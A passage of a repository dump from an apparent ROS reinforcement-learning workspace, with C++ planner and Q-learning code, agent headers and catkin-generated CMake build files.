how this will work. for each output feature, we'll actually want a vector with the probability of each possible value\n// TODO: for now, just assume deterministic and return the only outcome\nstd::vector<float> MultipleModels::testInstance(std::vector<float> input){\n if (MM_DEBUG) cout << \"Multimodel testInstance()\" << endl;\n\n std::vector<float> outputs;\n outputs.resize(nOutput);\n\n // call each model\n for (int i = 0; i < nOutput; i++){\n\n // combine output variables into one vector\n outputs[i] = models[i]->testInstance(input)[0];\n\n }\n\n return outputs;\n\n}\n\nvoid MultipleModels::createModels(){\n if (MM_DEBUG) cout << \"createModels\" << endl;\n\n // create a model for each output variable\n models.resize(nOutput);\n\n for (int i = 0; i < nOutput; i++){\n\n // NN\n if (type == 0){\n //models[i] = new NeuralNetwork(id*nOutput + i, nInput, \n //\t\t\t\t 10, 3, 0.3, 0.7, rng);\n }\n\n // DT\n else if (type == 1){\n if (MM_DEBUG) cout << \"Creating DT for output \" << i << endl;\n models[i] = new DecisionTree(id*nOutput + i, 1, 1000, rng);\n //models[i] = new StochDecisionTree(id*nOutput + i, 1, 1000, rng);\n }\n\n // KNN\n else {\n if (MM_DEBUG) cout << \"Creating KNN for output \" << i \n\t\t\t << \" with k \" << id+1 << endl;\n models[i] = new KNN(id*nOutput + i, id+2, rng);\n\n }\n\n\n }\n}\n\n\n\n" }, { "alpha_fraction": 0.7873753905296326, "alphanum_fraction": 0.7873753905296326, "avg_line_length": 49.16666793823242, "blob_id": "4c36993ff777d3ce4e79aece77a18e85d54a1ff9", "content_id": "7c15fb3428ea3ad17db45e1d043d5929d34dbe0e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 301, "license_type": "no_license", "max_line_length": 71, "num_lines": 6, "path": "/build/ugv_course_launch/CTestTestfile.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMake generated Testfile for \n# Source directory: /home/justin/ros_test/src/ugv_course_launch\n# Build directory: /home/justin/ros_test/build/ugv_course_launch\n# \n# This file includes the relevant testing commands required for \n# testing this directory and lists subdirectories to be tested as well.\n" }, { "alpha_fraction": 0.755033552646637, "alphanum_fraction": 0.7651006579399109, "avg_line_length": 41.71428680419922, "blob_id": "4f8316850ddc50d3874571545cd6a699f4117c6b", "content_id": "00343379606cc9d93e89af9a9c706858219a79a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 298, "license_type": "no_license", "max_line_length": 49, "num_lines": 7, "path": "/src/ugv_course_launch/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"ugv_course_launch\")\nset(ugv_course_launch_MAINTAINER \"abc <[email protected]>\")\nset(ugv_course_launch_DEPRECATED \"\")\nset(ugv_course_launch_VERSION \"0.0.0\")\nset(ugv_course_launch_BUILD_DEPENDS )\nset(ugv_course_launch_RUN_DEPENDS )\nset(ugv_course_launch_BUILDTOOL_DEPENDS \"catkin\")" }, { "alpha_fraction": 0.6607614755630493, "alphanum_fraction": 0.6607614755630493, "avg_line_length": 23.71895408630371, "blob_id": "d2bb4862772a99f0b0125da1e113932cf6479e09", "content_id": "64c835c0bafd6119e9c1108e5d1e23a8cdde7971", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3782, "license_type": "no_license", "max_line_length": 74, "num_lines": 153, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Planners/PolicyIteration.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _POLICYITERATION_HH_\n#define _POLICYITERATION_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n#include <set>\n#include <vector>\n#include <map>\n\n\nclass PolicyIteration: public Planner {\npublic:\n\n /** The implementation maps all sensations to a set of canonical\n pointers, which serve as the internal representation of\n environment state. */\n typedef const std::vector<float> *state_t;\n\n\n /** Standard constructor\n \\param numactions, numactions in the domain\n \\param gamma discount factor\n \\param maxloops\n \\param max time\n \\param rng random\n */\n PolicyIteration(int numactions, float gamma,\n int MAX_LOOPS, float MAX_TIME, int modelType,\n const std::vector<float> &featmax, \n const std::vector<float> &featmin,\n const std::vector<int> &statesPerDim,\n Random rng = Random());\n\n /** Unimplemented copy constructor: internal state cannot be simply\n copied. */\n PolicyIteration(const PolicyIteration &);\n\n virtual ~PolicyIteration();\n\n virtual void setModel(MDPModel* model);\n virtual bool updateModelWithExperience(const std::vector<float> &last, \n int act, \n const std::vector<float> &curr, \n float reward, bool term);\n virtual void planOnNewModel();\n virtual int getBestAction(const std::vector<float> &s);\n virtual void savePolicy(const char* filename);\n\n bool PLANNERDEBUG;\n bool POLICYDEBUG; //= false; //true;\n bool MODELDEBUG;\n bool ACTDEBUG;\n\n /** Model that we're using */\n MDPModel* model;\n\n\n\nprotected:\n\n\n struct state_info;\n struct model_info;\n\n /** State info struct */\n struct state_info {\n int id;\n\n int stepsAway;\n bool fresh;\n\n // experience data\n std::vector<int> visits;\n\n // data filled in from models\n StateActionInfo* modelInfo;\n\n //std::map<state_t, std::vector<float> > P;\n //std::vector<float> R;\n //std::vector<bool> known;\n\n // q values from policy creation\n\n float value;\n int bestAction;\n\n };\n\n\n\n // various helper functions that we need\n void initStateInfo(state_info* info);\n \n /** Produces a canonical representation of the given sensation.\n \\param s The current sensation from the environment.\n \\return A pointer to an equivalent state in statespace. */\n state_t canonicalize(const std::vector<float> &s);\n\n // Operational functions\n void deleteInfo(state_info* info);\n void initNewState(state_t s);\n void createPolicy();\n void printStates();\n void calculateReachableStates();\n void removeUnreachableStates();\n\n // functions to update our models and get info from them\n void updateStatesFromModel();\n void updateStateActionFromModel(const std::vector<float> &state, int j);\n\n double getSeconds();\n\n // for policy iter\n void policyEvaluation();\n float getActionValue(state_t s, state_info* info, int act);\n bool policyImprovement();\n std::vector<float> discretizeState(const std::vector<float> &s);\n\nprivate:\n\n /** Set of all distinct sensations seen. Pointers to elements of\n this set serve as the internal representation of the environment\n state. */\n std::set<std::vector<float> > statespace;\n\n /** Hashmap mapping state vectors to their state_info structs. */\n std::map<state_t, state_info> statedata;\n\n std::vector<float> featmax;\n std::vector<float> featmin;\n\n std::vector<float> prevstate;\n int prevact;\n\n double planTime;\n int nstates;\n int nactions; \n \n int MAX_STEPS;\n bool timingType;\n\n const int numactions;\n const float gamma;\n\n const int MAX_LOOPS;\n const float MAX_TIME;\n const int modelType;\n const std::vector<int> &statesPerDim;\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.6837209463119507, "alphanum_fraction": 0.6837209463119507, "avg_line_length": 85, "blob_id": "6cd22510bdc385ab3cf4c0c1f1280ee68ccff94d", "content_id": "7c3624e86d1ff63e685ecc3e032be5729f5a1993", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 430, "license_type": "no_license", "max_line_length": 201, "num_lines": 5, "path": "/build/catkin_generated/order_packages.py", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# generated from catkin/cmake/template/order_packages.context.py.in\nsource_root_dir = \"/home/justin/ros_test/src\"\nwhitelisted_packages = \"\".split(';') if \"\" != \"\" else []\nblacklisted_packages = \"\".split(';') if \"\" != \"\" else []\nunderlay_workspaces = \"/home/justin/catkin_ws/devel;/home/justin/ros_test/devel;/opt/ros/melodic\".split(';') if \"/home/justin/catkin_ws/devel;/home/justin/ros_test/devel;/opt/ros/melodic\" != \"\" else []\n" }, { "alpha_fraction": 0.6606461405754089, "alphanum_fraction": 0.6606461405754089, "avg_line_length": 24.03821563720703, "blob_id": "66b8c1e0fd3a6abc75011934d41e0d539ac541e8", "content_id": "0b055ba257424d44b4d66e4bbf49c7a2819e19bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3931, "license_type": "no_license", "max_line_length": 76, "num_lines": 157, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Planners/PrioritizedSweeping.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _PRIORITIZEDSWEEPING_HH_\n#define _PRIORITIZEDSWEEPING_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n#include <set>\n#include <vector>\n#include <map>\n\n\nclass PrioritizedSweeping: public Planner {\npublic:\n\n /** The implementation maps all sensations to a set of canonical\n pointers, which serve as the internal representation of\n environment state. */\n typedef const std::vector<float> *state_t;\n\n\n /** Standard constructor\n \\param numactions, numactions in the domain\n \\param gamma discount factor\n \\param rng random\n */\n PrioritizedSweeping(int numactions, float gamma, float MAX_TIME,\n bool onlyAddLastSA, int modelType,\n const std::vector<float> &featmax, \n const std::vector<float> &featmin,\n Random rng = Random());\n\n /** Unimplemented copy constructor: internal state cannot be simply\n copied. */\n PrioritizedSweeping(const PrioritizedSweeping &);\n\n virtual ~PrioritizedSweeping();\n\n virtual void setModel(MDPModel* model);\n virtual bool updateModelWithExperience(const std::vector<float> &last, \n int act, \n const std::vector<float> &curr, \n float reward, bool term);\n virtual void planOnNewModel();\n virtual int getBestAction(const std::vector<float> &s);\n\n bool PLANNERDEBUG;\n bool POLICYDEBUG; //= false; //true;\n bool MODELDEBUG;\n bool ACTDEBUG;\n bool LISTDEBUG;\n\n /** Model that we're using */\n MDPModel* model;\n\n\n\nprotected:\n\n\n struct state_info;\n struct model_info;\n\n struct saqPair {\n std::vector<float> s;\n int a;\n float q;\n };\n\n /** State info struct */\n struct state_info {\n int id;\n\n bool fresh;\n\n // experience data\n std::vector<int> visits;\n\n // data filled in from models\n StateActionInfo* modelInfo;\n\n //std::map<state_t, std::vector<float> > P;\n //std::vector<float> R;\n //std::vector<bool> known;\n\n // q values from policy creation\n std::vector<float> Q;\n \n // which states lead to this state?\n std::list<saqPair> pred;\n std::vector<int> lastUpdate;\n\n };\n\n\n\n // various helper functions that we need\n void initStateInfo(state_info* info);\n \n /** Produces a canonical representation of the given sensation.\n \\param s The current sensation from the environment.\n \\return A pointer to an equivalent state in statespace. */\n state_t canonicalize(const std::vector<float> &s);\n\n // Operational functions\n void deleteInfo(state_info* info);\n void initNewState(state_t s);\n void createPolicy();\n void printStates();\n\n // functions to update our models and get info from them\n void updateStatesFromModel();\n\n double getSeconds();\n\n // for prioritized sweeping\n void updatePriorityList(state_info* info, const std::vector<float> &next);\n bool saqPairMatch(saqPair a, saqPair b);\n float updateQValues(const std::vector<float> &state, int act);\n void addSAToList(const std::vector<float> &s, int act, float q);\n void updateStateActionFromModel(const std::vector<float> &state, int a);\n\nprivate:\n\n /** Set of all distinct sensations seen. Pointers to elements of\n this set serve as the internal representation of the environment\n state. */\n std::set<std::vector<float> > statespace;\n\n /** Hashmap mapping state vectors to their state_info structs. */\n std::map<state_t, state_info> statedata;\n\n /** priority list for prioritized sweeping */\n std::list< saqPair> priorityList;\n\n std::vector<float> featmax;\n std::vector<float> featmin;\n\n std::vector<float> prevstate;\n int prevact;\n \n double planTime;\n int nstates;\n int nactions; \n int lastModelUpdate;\n\n int MAX_STEPS;\n bool timingType;\n\n const int numactions;\n const float gamma;\n const float MAX_TIME;\n const bool onlyAddLastSA;\n const int modelType;\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.7082785964012146, "alphanum_fraction": 0.7135348320007324, "avg_line_length": 46.625, "blob_id": "145aa3e3baa4e35992769277b2a5e5b62c666696", "content_id": "dae4f113dca76867e6da1924c9e391ee06e7cb21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 761, "license_type": "no_license", "max_line_length": 99, "num_lines": 16, "path": "/build/rl-texplore-ros-pkg-master/src/rl_agent/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"rl_agent\")\nset(rl_agent_VERSION \"0.0.0\")\nset(rl_agent_MAINTAINER \"Todd Hester <[email protected]>\")\nset(rl_agent_PACKAGE_FORMAT \"1\")\nset(rl_agent_BUILD_DEPENDS \"roscpp\" \"rl_msgs\" \"rl_common\" \"tf\" \"std_msgs\")\nset(rl_agent_BUILD_EXPORT_DEPENDS \"message_runtime\" \"roscpp\" \"rl_msgs\" \"tf\" \"rl_common\" \"std_msgs\")\nset(rl_agent_BUILDTOOL_DEPENDS \"catkin\")\nset(rl_agent_BUILDTOOL_EXPORT_DEPENDS )\nset(rl_agent_EXEC_DEPENDS \"message_runtime\" \"roscpp\" \"rl_msgs\" \"tf\" \"rl_common\" \"std_msgs\")\nset(rl_agent_RUN_DEPENDS \"message_runtime\" \"roscpp\" \"rl_msgs\" \"tf\" \"rl_common\" \"std_msgs\")\nset(rl_agent_TEST_DEPENDS )\nset(rl_agent_DOC_DEPENDS )\nset(rl_agent_URL_WEBSITE \"\")\nset(rl_agent_URL_BUGTRACKER \"\")\nset(rl_agent_URL_REPOSITORY \"\")\nset(rl_agent_DEPRECATED \"\")" }, { "alpha_fraction": 0.6536796689033508, "alphanum_fraction": 0.6536796689033508, "avg_line_length": 27.875, "blob_id": "cb461d47731eb47a3d77a9a1eba234f37730f728", "content_id": "f9e24f517592b5b715ff8a827d8cd00dab112bf4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1155, "license_type": "no_license", "max_line_length": 77, "num_lines": 40, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/include/rl_agent/DiscretizationAgent.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _DISCAGENT_HH_\n#define _DISCAGENT_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n#include <vector>\n\n\nclass DiscretizationAgent: public Agent {\npublic:\n\n DiscretizationAgent(int statesPerDim, Agent* a, \n std::vector<float> featmin, std::vector<float> featmax,\n bool d);\n DiscretizationAgent(std::vector<int> statesPerDim, Agent* a, \n std::vector<float> featmin, std::vector<float> featmax,\n bool d);\n ~DiscretizationAgent();\n \n void initEverything(Agent* a, std::vector<float> fmin,\n std::vector<float> fmax, bool d);\n virtual int first_action(const std::vector<float> &s);\n virtual int next_action(float r, const std::vector<float> &s);\n virtual void last_action(float r);\n virtual void setDebug(bool b);\n virtual void seedExp(std::vector<experience> seeds);\n virtual void savePolicy(const char* filename);\n\n \n std::vector<float> discretizeState(const std::vector<float> &s);\n std::vector<int> statesPerDim;\n Agent* agent;\n std::vector<float> featmin;\n std::vector<float> featmax;\n bool DEBUG;\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.5563433766365051, "alphanum_fraction": 0.5607748627662659, "avg_line_length": 23.752351760864258, "blob_id": "519c443e326d9c1e154525d2c44f6788d6098bc8", "content_id": "fb72ccdcfb44094b0e42d60e500d911e953ada8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7898, "license_type": "no_license", "max_line_length": 79, "num_lines": 319, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Agent/QLearner.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <rl_agent/QLearner.hh>\n#include <algorithm>\n\nQLearner::QLearner(int numactions, float gamma,\n float initialvalue, float alpha, float ep,\n Random rng):\n numactions(numactions), gamma(gamma),\n initialvalue(initialvalue), alpha(alpha),\n rng(rng), currentq(NULL)\n{\n\n epsilon = ep;\n ACTDEBUG = false; //true; //false;\n\n}\n\nQLearner::~QLearner() {}\n\nint QLearner::first_action(const std::vector<float> &s) {\n\n if (ACTDEBUG){\n cout << \"First - in state: \";\n printState(s);\n cout << endl;\n }\n\n // Get action values\n std::vector<float> &Q_s = Q[canonicalize(s)];\n\n // Choose an action\n const std::vector<float>::iterator a =\n rng.uniform() < epsilon\n ? Q_s.begin() + rng.uniformDiscrete(0, numactions - 1) // Choose randomly\n : random_max_element(Q_s.begin(), Q_s.end()); // Choose maximum\n\n // Store location to update value later\n currentq = &*a;\n\n if (ACTDEBUG){\n cout << \" act: \" << (a-Q_s.begin()) << \" val: \" << *a << endl;\n for (int iAct = 0; iAct < numactions; iAct++){\n cout << \" Action: \" << iAct\n << \" val: \" << Q_s[iAct] << endl;\n }\n cout << \"Took action \" << (a-Q_s.begin()) << \" from state \";\n printState(s);\n cout << endl;\n }\n\n return a - Q_s.begin();\n}\n\nint QLearner::next_action(float r, const std::vector<float> &s) {\n\n if (ACTDEBUG){\n cout << \"Next: got reward \" << r << \" in state: \";\n printState(s);\n cout << endl;\n }\n\n // Get action values\n std::vector<float> &Q_s = Q[canonicalize(s)];\n const std::vector<float>::iterator max =\n random_max_element(Q_s.begin(), Q_s.end());\n\n // Update value of action just executed\n *currentq += alpha * (r + gamma * (*max) - *currentq);\n\n // Choose an action\n const std::vector<float>::iterator a =\n rng.uniform() < epsilon\n ? Q_s.begin() + rng.uniformDiscrete(0, numactions - 1)\n : max;\n\n // Store location to update value later\n currentq = &*a;\n\n if (ACTDEBUG){\n cout << \" act: \" << (a-Q_s.begin()) << \" val: \" << *a << endl;\n for (int iAct = 0; iAct < numactions; iAct++){\n cout << \" Action: \" << iAct\n << \" val: \" << Q_s[iAct] << endl;\n }\n cout << \"Took action \" << (a-Q_s.begin()) << \" from state \";\n printState(s);\n cout << endl;\n }\n\n return a - Q_s.begin();\n}\n\nvoid QLearner::last_action(float r) {\n\n if (ACTDEBUG){\n cout << \"Last: got reward \" << r << endl;\n }\n\n *currentq += alpha * (r - *currentq);\n currentq = NULL;\n}\n\nQLearner::state_t QLearner::canonicalize(const std::vector<float> &s) {\n const std::pair<std::set<std::vector<float> >::iterator, bool> result =\n statespace.insert(s);\n state_t retval = &*result.first; // Dereference iterator then get pointer\n if (result.second) { // s is new, so initialize Q(s,a) for all a\n std::vector<float> &Q_s = Q[retval];\n Q_s.resize(numactions,initialvalue);\n }\n return retval;\n}\n\n\n\nstd::vector<float>::iterator\nQLearner::random_max_element(\n std::vector<float>::iterator start,\n std::vector<float>::iterator end) {\n\n std::vector<float>::iterator max =\n std::max_element(start, end);\n int n = std::count(max, end, *max);\n if (n > 1) {\n n = rng.uniformDiscrete(1, n);\n while (n > 1) {\n max = std::find(max + 1, end, *max);\n --n;\n }\n }\n return max;\n}\n\n\n\n\nvoid QLearner::setDebug(bool d){\n ACTDEBUG = d;\n}\n\n\nvoid QLearner::printState(const std::vector<float> &s){\n for (unsigned j = 0; j < s.size(); j++){\n cout << s[j] << \", \";\n }\n}\n\n\n\nvoid QLearner::seedExp(std::vector<experience> seeds){\n\n // for each seeding experience, update our model\n for (unsigned i = 0; i < seeds.size(); i++){\n experience e = seeds[i];\n\n std::vector<float> &Q_s = Q[canonicalize(e.s)];\n std::vector<float> &Q_next = Q[canonicalize(e.next)];\n\n // get max value of next state\n const std::vector<float>::iterator max =\n random_max_element(Q_next.begin(), Q_next.end());\n\n // Get q value for action taken\n const std::vector<float>::iterator a = Q_s.begin() + e.act;\n currentq = &*a;\n\n // Update value of action just executed\n *currentq += alpha * (e.reward + gamma * (*max) - *currentq);\n\n\n /*\n cout << \"Seeding with experience \" << i << endl;\n cout << \"last: \" << (e.s)[0] << \", \" << (e.s)[1] << \", \"\n << (e.s)[2] << endl;\n cout << \"act: \" << e.act << \" r: \" << e.reward << endl;\n cout << \"next: \" << (e.next)[0] << \", \" << (e.next)[1] << \", \"\n << (e.next)[2] << \", \" << e.terminal << endl;\n cout << \"Q: \" << *currentq << \" max: \" << *max << endl;\n */\n\n }\n\n\n}\n\nvoid QLearner::logValues(ofstream *of, int xmin, int xmax, int ymin, int ymax){\n std::vector<float> s;\n s.resize(2, 0.0);\n for (int i = xmin ; i < xmax; i++){\n for (int j = ymin; j < ymax; j++){\n s[0] = j;\n s[1] = i;\n std::vector<float> &Q_s = Q[canonicalize(s)];\n const std::vector<float>::iterator max =\n random_max_element(Q_s.begin(), Q_s.end());\n *of << (*max) << \",\";\n }\n }\n}\n\n\nfloat QLearner::getValue(std::vector<float> state){\n\n state_t s = canonicalize(state);\n\n // Get Q values\n std::vector<float> &Q_s = Q[s];\n\n // Choose an action\n const std::vector<float>::iterator a =\n random_max_element(Q_s.begin(), Q_s.end()); // Choose maximum\n\n // Get avg value\n float valSum = 0.0;\n float cnt = 0;\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n\n // get state's info\n std::vector<float> &Q_s = Q[s];\n\n for (int j = 0; j < numactions; j++){\n valSum += Q_s[j];\n cnt++;\n }\n }\n\n cout << \"Avg Value: \" << (valSum / cnt) << endl;\n\n return *a;\n}\n\n\nvoid QLearner::savePolicy(const char* filename){\n\n ofstream policyFile(filename, ios::out | ios::binary | ios::trunc);\n\n // first part, save the vector size\n std::set< std::vector<float> >::iterator i = statespace.begin();\n int fsize = (*i).size();\n policyFile.write((char*)&fsize, sizeof(int));\n\n // save numactions\n policyFile.write((char*)&numactions, sizeof(int));\n\n // go through all states, and save Q values\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n std::vector<float> *Q_s = &(Q[s]);\n\n // save state\n policyFile.write((char*)&((*i)[0]), sizeof(float)*fsize);\n\n // save q-values\n policyFile.write((char*)&((*Q_s)[0]), sizeof(float)*numactions);\n\n }\n\n policyFile.close();\n}\n\n\nvoid QLearner::loadPolicy(const char* filename){\n bool LOADDEBUG = false;\n\n ifstream policyFile(filename, ios::in | ios::binary);\n if (!policyFile.is_open())\n return;\n\n // first part, save the vector size\n int fsize;\n policyFile.read((char*)&fsize, sizeof(int));\n if (LOADDEBUG) cout << \"Numfeats loaded: \" << fsize << endl;\n\n // save numactions\n int nact;\n policyFile.read((char*)&nact, sizeof(int));\n\n if (nact != numactions){\n cout << \"this policy is not valid loaded nact: \" << nact\n << \" was told: \" << numactions << endl;\n exit(-1);\n }\n\n // go through all states, loading q values\n while(!policyFile.eof()){\n std::vector<float> state;\n state.resize(fsize, 0.0);\n\n // load state\n policyFile.read((char*)&(state[0]), sizeof(float)*fsize);\n if (LOADDEBUG){\n cout << \"load policy for state: \";\n printState(state);\n }\n\n state_t s = canonicalize(state);\n std::vector<float> *Q_s = &(Q[s]);\n\n if (policyFile.eof()) break;\n\n // load q values\n policyFile.read((char*)&((*Q_s)[0]), sizeof(float)*numactions);\n\n if (LOADDEBUG){\n cout << \"Q values: \" << endl;\n for (int iAct = 0; iAct < numactions; iAct++){\n cout << \" Action: \" << iAct << \" val: \" << (*Q_s)[iAct] << endl;\n }\n }\n }\n\n policyFile.close();\n cout << \"Policy loaded!!!\" << endl;\n //loaded = true;\n}\n\n\n" }, { "alpha_fraction": 0.7370242476463318, "alphanum_fraction": 0.7474048733711243, "avg_line_length": 40.42856979370117, "blob_id": "262e9904ea28ff03f7daf34421e5846ed3dc9a66", "content_id": "eb60c4f29be1f16bb28f588e6202e630fe70b686", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 289, "license_type": "no_license", "max_line_length": 45, "num_lines": 7, "path": "/src/mantis_model/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"mantis_model\")\nset(mantis_model_MAINTAINER \"abc <[email protected]>\")\nset(mantis_model_DEPRECATED \"\")\nset(mantis_model_VERSION \"0.0.0\")\nset(mantis_model_BUILD_DEPENDS \"roscpp\" \"tf\")\nset(mantis_model_RUN_DEPENDS \"roscpp\" \"tf\")\nset(mantis_model_BUILDTOOL_DEPENDS \"catkin\")" }, { "alpha_fraction": 0.7683284282684326, "alphanum_fraction": 0.7683284282684326, "avg_line_length": 33.099998474121094, "blob_id": "e0d61c2bac0cc91d03ad1be9ee4c5bc87c897c49", "content_id": "c9bf1b15776da9976f75411bbea1db89021dee7e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 341, "license_type": "no_license", "max_line_length": 72, "num_lines": 10, "path": "/build/ugv_course_gazebo_plugins/CMakeFiles/pose_plugin.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/pose_plugin.dir/src/PosePlugin.cpp.o\"\n \"/home/justin/ros_test/devel/lib/libpose_plugin.pdb\"\n \"/home/justin/ros_test/devel/lib/libpose_plugin.so\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/pose_plugin.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7752161622047424, "alphanum_fraction": 0.7752161622047424, "avg_line_length": 33.70000076293945, "blob_id": "8075295b9f2d9bbaa76d6c8ce72916bdbee26ca2", "content_id": "fda1f064127a75250fafb78eddd3c843053a1c7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 347, "license_type": "no_license", "max_line_length": 71, "num_lines": 10, "path": "/build/rl-texplore-ros-pkg-master/src/rl_experiment/CMakeFiles/experiment.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/experiment.dir/src/rl.cc.o\"\n \"/home/justin/ros_test/devel/lib/rl_experiment/experiment.pdb\"\n \"/home/justin/ros_test/devel/lib/rl_experiment/experiment\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/experiment.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.6979137063026428, "alphanum_fraction": 0.700200080871582, "avg_line_length": 32.32381057739258, "blob_id": "768bb4f60136538b5edf0a66e5d7b21147838f9b", "content_id": "73779c240983738ef0fad691507d66e0d2fb92bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3499, "license_type": "no_license", "max_line_length": 159, "num_lines": 105, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/ExplorationModel.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file ExplorationModel.hh\n Defines the ExplorationModel class.\n Reward bonuses based on the variance in model predictions are described in: Hester and Stone, \"Real Time Targeted Exploration in Large Domains\", ICDL 2010.\n And intrinsic reward bonuses based on variance novelty as described in:\n Hester and Stone, \"Intinrisically Motivated Model Learning for a Developing Curious Agent\", AAMAS ALA 2012.\n \\author Todd Hester\n*/\n\n#ifndef _EXPLOREMODEL_HH_\n#define _EXPLOREMODEL_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include <vector>\n#include <map>\n#include <set>\n\n\n/** This model wraps an another model and adds reward\n bonuses based on model confidence, # of visits, or other metrics. */\nclass ExplorationModel: public MDPModel {\n\npublic:\n\n /** Default contstructor\n \\param model The underlying MDP Model being used.\n \\param modelType the type of model being used.\n \\param exploreType type of reward bonuses to be added on top of model\n \\param predType the way in which ensemble models combine their models\n \\param nModels # of models to use for ensemble models (i.e. random forests)\n \\param m # of visits for a given state-action to be considered known\n \\param numactions # of actions in the domain\n \\param rmax maximum one-step reward in the domain\n \\param qmax maximum possible q-value in a domain\n \\param rrange range of one-step rewards in the domain\n \\param nfactors # of state features in the domain\n \\param b/v coefficient to determine magnitude of variance reward \n \\param n coefficient to determine magnitude of novelty reward\n \\param featmax the maximum value of each state feature\n \\param featmin the minimum value of each state feature\n \\param rng Random Number Generator\n */\n ExplorationModel(MDPModel * model, int modelType, \n int exploreType, int predType, int nModels,\n float m, int numactions, float rmax, \n float qmax, float rrange, int nfactors, float v, float n,\n const std::vector<float> &featmax, \n const std::vector<float> &featmin, \n Random rng); \n\n /** Copy constructor */\n ExplorationModel(const ExplorationModel&);\n\n virtual ~ExplorationModel();\n virtual ExplorationModel* getCopy();\n\n virtual bool updateWithExperiences(std::vector<experience> &instances);\n virtual bool updateWithExperience(experience &e);\n virtual float getStateActionInfo(const std::vector<float> &state, int act, StateActionInfo* retval);\n\n /** Add state to a set of visited states */\n bool addStateToSet(const std::vector<float> &s);\n\n /** Check if the given state is in the set of visited states */\n bool checkForState(const std::vector<float> &s);\n\n /** Find distance in feature space to nearest visited state-action */\n float getFeatDistToVisitedSA(const std::vector<float> &s);\n\n\n bool MODEL_DEBUG;\n\nprotected:\n\n\n\nprivate:\n \n /** Set of all distinct sensations seen. \n This way we can know what we've visited. */\n std::set<std::vector<float> > statespace;\n\n /** Underlying MDP model that we've wrapped and that we add bonus rewards onto. */\n MDPModel* model;\n\n std::vector<float> featmax;\n std::vector<float> featmin;\n\n int modelType; \n int exploreType; \n int predType;\n int nModels;\n float M; \n int numactions; float rmax; float qmax; float rrange;\n int nfactors; \n const float v;\n const float n;\n\n Random rng;\n \n};\n\n\n\n#endif\n" }, { "alpha_fraction": 0.7820512652397156, "alphanum_fraction": 0.7897436022758484, "avg_line_length": 64.16666412353516, "blob_id": "b0a85ff62a77cf891b5bf1261bc776a3a6571f14", "content_id": "1cf3f8adba814379e227e153c737de5cf1db151e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 390, "license_type": "no_license", "max_line_length": 88, "num_lines": 6, "path": "/build/boost-python-catkin-example-master/catkin_generated/setup_py_interrogation.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(boost_python_catkin_example_SETUP_PY_VERSION \"1.0.0\")\nset(boost_python_catkin_example_SETUP_PY_SCRIPTS \"\")\nset(boost_python_catkin_example_SETUP_PY_PACKAGES \"boost_python_catkin_example\")\nset(boost_python_catkin_example_SETUP_PY_PACKAGE_DIRS \"src/boost_python_catkin_example\")\nset(boost_python_catkin_example_SETUP_PY_MODULES \"\")\nset(boost_python_catkin_example_SETUP_PY_MODULE_DIRS \"\")" }, { 